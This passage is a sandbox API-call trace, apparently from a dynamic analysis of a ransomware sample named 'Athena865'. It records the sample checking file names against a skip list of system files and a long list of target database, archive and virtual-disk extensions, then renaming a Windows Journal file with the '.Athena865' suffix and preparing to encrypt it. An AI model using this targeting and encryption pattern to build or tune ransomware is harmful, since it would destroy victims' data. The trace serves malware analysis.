lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="..") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="windows") returned -1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="bootmgr") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="temp") returned -1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="pagefile.sys") returned -1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="boot") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="ids.txt") returned 1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="ntuser.dat") returned -1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="perflogs") returned -1 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="MSBuild") returned -1 [0090.502] lstrlenW (lpString="JNTFiltr.dll.mui") returned 16 [0090.502] lstrcpyW (in: lpString1=0x241e896, lpString2="JNTFiltr.dll.mui" | out: lpString1="JNTFiltr.dll.mui") returned="JNTFiltr.dll.mui" [0090.502] lstrlenW (lpString="JNTFiltr.dll.mui") returned 16 [0090.502] lstrlenW (lpString="Athena865") returned 9 [0090.502] lstrcmpiW (lpString1="r.dll.mui", lpString2="Athena865") returned 1 [0090.502] lstrlenW (lpString=".dll") returned 4 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".dll") returned 1 [0090.502] lstrlenW (lpString=".lnk") returned 4 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".lnk") returned 1 [0090.502] lstrlenW (lpString=".ini") returned 4 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".ini") returned 1 [0090.502] lstrlenW (lpString=".sys") returned 4 [0090.502] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".sys") returned 1 [0090.502] lstrlenW (lpString="JNTFiltr.dll.mui") returned 16 [0090.502] lstrlenW (lpString="bak") returned 3 [0090.502] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.502] lstrlenW (lpString="ba_") returned 3 [0090.502] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.503] lstrlenW (lpString="dbb") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.503] lstrlenW (lpString="vmdk") returned 4 [0090.503] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.503] lstrlenW (lpString="rar") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.503] lstrlenW (lpString="zip") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.503] lstrlenW (lpString="tgz") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.503] lstrlenW (lpString="vbox") returned 4 [0090.503] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.503] lstrlenW (lpString="vdi") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.503] lstrlenW (lpString="vhd") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.503] lstrlenW (lpString="vhdx") returned 4 [0090.503] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.503] lstrlenW (lpString="avhd") returned 4 [0090.503] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.503] lstrlenW (lpString="db") returned 2 [0090.503] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.503] lstrlenW (lpString="db2") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.503] lstrlenW (lpString="db3") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.503] lstrlenW (lpString="dbf") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.503] lstrlenW (lpString="mdf") returned 3 [0090.503] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.504] lstrlenW (lpString="mdb") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.504] lstrlenW (lpString="sql") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.504] lstrlenW (lpString="sqlite") returned 6 [0090.504] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.504] lstrlenW (lpString="sqlite3") returned 7 [0090.504] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.504] lstrlenW (lpString="sqlitedb") returned 8 [0090.504] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.504] lstrlenW (lpString="xml") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.504] lstrlenW (lpString="$er") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.504] lstrlenW (lpString="4dd") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.504] lstrlenW (lpString="4dl") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.504] lstrlenW (lpString="^^^") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.504] lstrlenW (lpString="abs") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.504] lstrlenW (lpString="abx") returned 3 [0090.504] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.504] lstrlenW (lpString="accdb") returned 5 [0090.504] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.504] lstrlenW (lpString="accdc") returned 5 [0090.504] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.504] lstrlenW (lpString="accde") returned 5 [0090.504] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.504] lstrlenW (lpString="accdr") returned 5 [0090.504] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.505] lstrlenW (lpString="accdt") returned 5 [0090.505] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.505] lstrlenW (lpString="accdw") returned 5 [0090.505] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.505] lstrlenW (lpString="accft") returned 5 [0090.505] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.505] lstrlenW (lpString="adb") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.505] lstrlenW (lpString="adb") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.505] lstrlenW (lpString="ade") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.505] lstrlenW (lpString="adf") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.505] lstrlenW (lpString="adn") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.505] lstrlenW (lpString="adp") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.505] lstrlenW (lpString="alf") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.505] lstrlenW (lpString="ask") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.505] lstrlenW (lpString="btr") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.505] lstrlenW (lpString="cat") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.505] lstrlenW (lpString="cdb") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.505] lstrlenW (lpString="ckp") returned 3 [0090.505] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.505] lstrlenW (lpString="cma") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.506] lstrlenW (lpString="cpd") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.506] lstrlenW (lpString="dacpac") returned 6 [0090.506] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.506] lstrlenW (lpString="dad") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.506] lstrlenW (lpString="dadiagrams") returned 10 [0090.506] lstrcmpiW (lpString1="tr.dll.mui", lpString2="dadiagrams") returned 1 [0090.506] lstrlenW (lpString="daschema") returned 8 [0090.506] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.506] lstrlenW (lpString="db-journal") returned 10 [0090.506] lstrcmpiW (lpString1="tr.dll.mui", lpString2="db-journal") returned 1 [0090.506] lstrlenW (lpString="db-shm") returned 6 [0090.506] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.506] lstrlenW (lpString="db-wal") returned 6 [0090.506] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.506] lstrlenW (lpString="dbc") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.506] lstrlenW (lpString="dbs") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.506] lstrlenW (lpString="dbt") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.506] lstrlenW (lpString="dbv") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.506] lstrlenW (lpString="dbx") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.506] lstrlenW (lpString="dcb") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.506] lstrlenW (lpString="dct") returned 3 [0090.506] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.506] lstrlenW (lpString="dcx") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.507] lstrlenW (lpString="ddl") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.507] lstrlenW (lpString="dlis") returned 4 [0090.507] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.507] lstrlenW (lpString="dp1") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.507] lstrlenW (lpString="dqy") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.507] lstrlenW (lpString="dsk") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.507] lstrlenW (lpString="dsn") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.507] lstrlenW (lpString="dtsx") returned 4 [0090.507] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.507] lstrlenW (lpString="dxl") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.507] lstrlenW (lpString="eco") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.507] lstrlenW (lpString="ecx") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.507] lstrlenW (lpString="edb") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.507] lstrlenW (lpString="epim") returned 4 [0090.507] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.507] lstrlenW (lpString="fcd") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.507] lstrlenW (lpString="fdb") returned 3 [0090.507] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.507] lstrlenW (lpString="fic") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.508] lstrlenW (lpString="flexolibrary") returned 12 [0090.508] lstrcmpiW (lpString1="iltr.dll.mui", lpString2="flexolibrary") returned 1 [0090.508] lstrlenW (lpString="fm5") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.508] lstrlenW (lpString="fmp") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.508] lstrlenW (lpString="fmp12") returned 5 [0090.508] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0090.508] lstrlenW (lpString="fmpsl") returned 5 [0090.508] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0090.508] lstrlenW (lpString="fol") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.508] lstrlenW (lpString="fp3") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.508] lstrlenW (lpString="fp4") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.508] lstrlenW (lpString="fp5") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.508] lstrlenW (lpString="fp7") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.508] lstrlenW (lpString="fpt") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.508] lstrlenW (lpString="frm") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.508] lstrlenW (lpString="gdb") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.508] lstrlenW (lpString="gdb") returned 3 [0090.508] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.508] lstrlenW (lpString="grdb") returned 4 [0090.508] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.508] lstrlenW (lpString="gwi") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.509] lstrlenW (lpString="hdb") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.509] lstrlenW (lpString="his") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.509] lstrlenW (lpString="ib") returned 2 [0090.509] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.509] lstrlenW (lpString="idb") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.509] lstrlenW (lpString="ihx") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.509] lstrlenW (lpString="itdb") returned 4 [0090.509] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.509] lstrlenW (lpString="itw") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.509] lstrlenW (lpString="jet") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.509] lstrlenW (lpString="jtx") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.509] lstrlenW (lpString="kdb") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.509] lstrlenW (lpString="kexi") returned 4 [0090.509] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.509] lstrlenW (lpString="kexic") returned 5 [0090.509] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0090.509] lstrlenW (lpString="kexis") returned 5 [0090.509] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0090.509] lstrlenW (lpString="lgc") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.509] lstrlenW (lpString="lwx") returned 3 [0090.509] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.509] lstrlenW (lpString="maf") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.510] lstrlenW (lpString="maq") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.510] lstrlenW (lpString="mar") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.510] lstrlenW (lpString="marshal") returned 7 [0090.510] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0090.510] lstrlenW (lpString="mas") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.510] lstrlenW (lpString="mav") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.510] lstrlenW (lpString="maw") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.510] lstrlenW (lpString="mdbhtml") returned 7 [0090.510] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0090.510] lstrlenW (lpString="mdn") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.510] lstrlenW (lpString="mdt") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.510] lstrlenW (lpString="mfd") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.510] lstrlenW (lpString="mpd") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.510] lstrlenW (lpString="mrg") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.510] lstrlenW (lpString="mud") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.510] lstrlenW (lpString="mwb") returned 3 [0090.510] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.510] lstrlenW (lpString="myd") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.511] lstrlenW (lpString="ndf") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.511] lstrlenW (lpString="nnt") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.511] lstrlenW (lpString="nrmlib") returned 6 [0090.511] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0090.511] lstrlenW (lpString="ns2") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.511] lstrlenW (lpString="ns3") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.511] lstrlenW (lpString="ns4") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.511] lstrlenW (lpString="nsf") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.511] lstrlenW (lpString="nv") returned 2 [0090.511] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.511] lstrlenW (lpString="nv2") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.511] lstrlenW (lpString="nwdb") returned 4 [0090.511] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.511] lstrlenW (lpString="nyf") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.511] lstrlenW (lpString="odb") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.511] lstrlenW (lpString="odb") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.511] lstrlenW (lpString="oqy") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.511] lstrlenW (lpString="ora") returned 3 [0090.511] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.512] lstrlenW (lpString="orx") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.512] lstrlenW (lpString="owc") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.512] lstrlenW (lpString="p96") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.512] lstrlenW (lpString="p97") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.512] lstrlenW (lpString="pan") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.512] lstrlenW (lpString="pdb") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.512] lstrlenW (lpString="pdm") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.512] lstrlenW (lpString="pnz") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.512] lstrlenW (lpString="qry") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.512] lstrlenW (lpString="qvd") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.512] lstrlenW (lpString="rbf") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.512] lstrlenW (lpString="rctd") returned 4 [0090.512] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.512] lstrlenW (lpString="rod") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.512] lstrlenW (lpString="rodx") returned 4 [0090.512] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.512] lstrlenW (lpString="rpd") returned 3 [0090.512] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.512] lstrlenW (lpString="rsd") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.513] lstrlenW (lpString="sas7bdat") returned 8 [0090.513] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0090.513] lstrlenW (lpString="sbf") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.513] lstrlenW (lpString="scx") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.513] lstrlenW (lpString="sdb") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.513] lstrlenW (lpString="sdc") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.513] lstrlenW (lpString="sdf") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.513] lstrlenW (lpString="sis") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.513] lstrlenW (lpString="spq") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.513] lstrlenW (lpString="te") returned 2 [0090.513] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.513] lstrlenW (lpString="teacher") returned 7 [0090.513] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0090.513] lstrlenW (lpString="tmd") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.513] lstrlenW (lpString="tps") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.513] lstrlenW (lpString="trc") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.513] lstrlenW (lpString="trc") returned 3 [0090.513] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.514] lstrlenW (lpString="trm") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.514] lstrlenW (lpString="udb") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.514] lstrlenW (lpString="udl") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.514] lstrlenW (lpString="usr") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.514] lstrlenW (lpString="v12") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.514] lstrlenW (lpString="vis") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.514] lstrlenW (lpString="vpd") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.514] lstrlenW (lpString="vvv") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.514] lstrlenW (lpString="wdb") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.514] lstrlenW (lpString="wmdb") returned 4 [0090.514] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.514] lstrlenW (lpString="wrk") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.514] lstrlenW (lpString="xdb") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.514] lstrlenW (lpString="xld") returned 3 [0090.514] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.514] lstrlenW (lpString="xmlff") returned 5 [0090.514] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0090.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui.Athena865") returned 65 [0090.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.519] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.519] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0090.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.520] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.520] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.520] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.521] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0090.522] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0090.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.524] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.524] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.525] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.525] CloseHandle (hObject=0x154) returned 1 [0090.525] CloseHandle (hObject=0x17c) returned 1 [0090.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.525] HeapFree 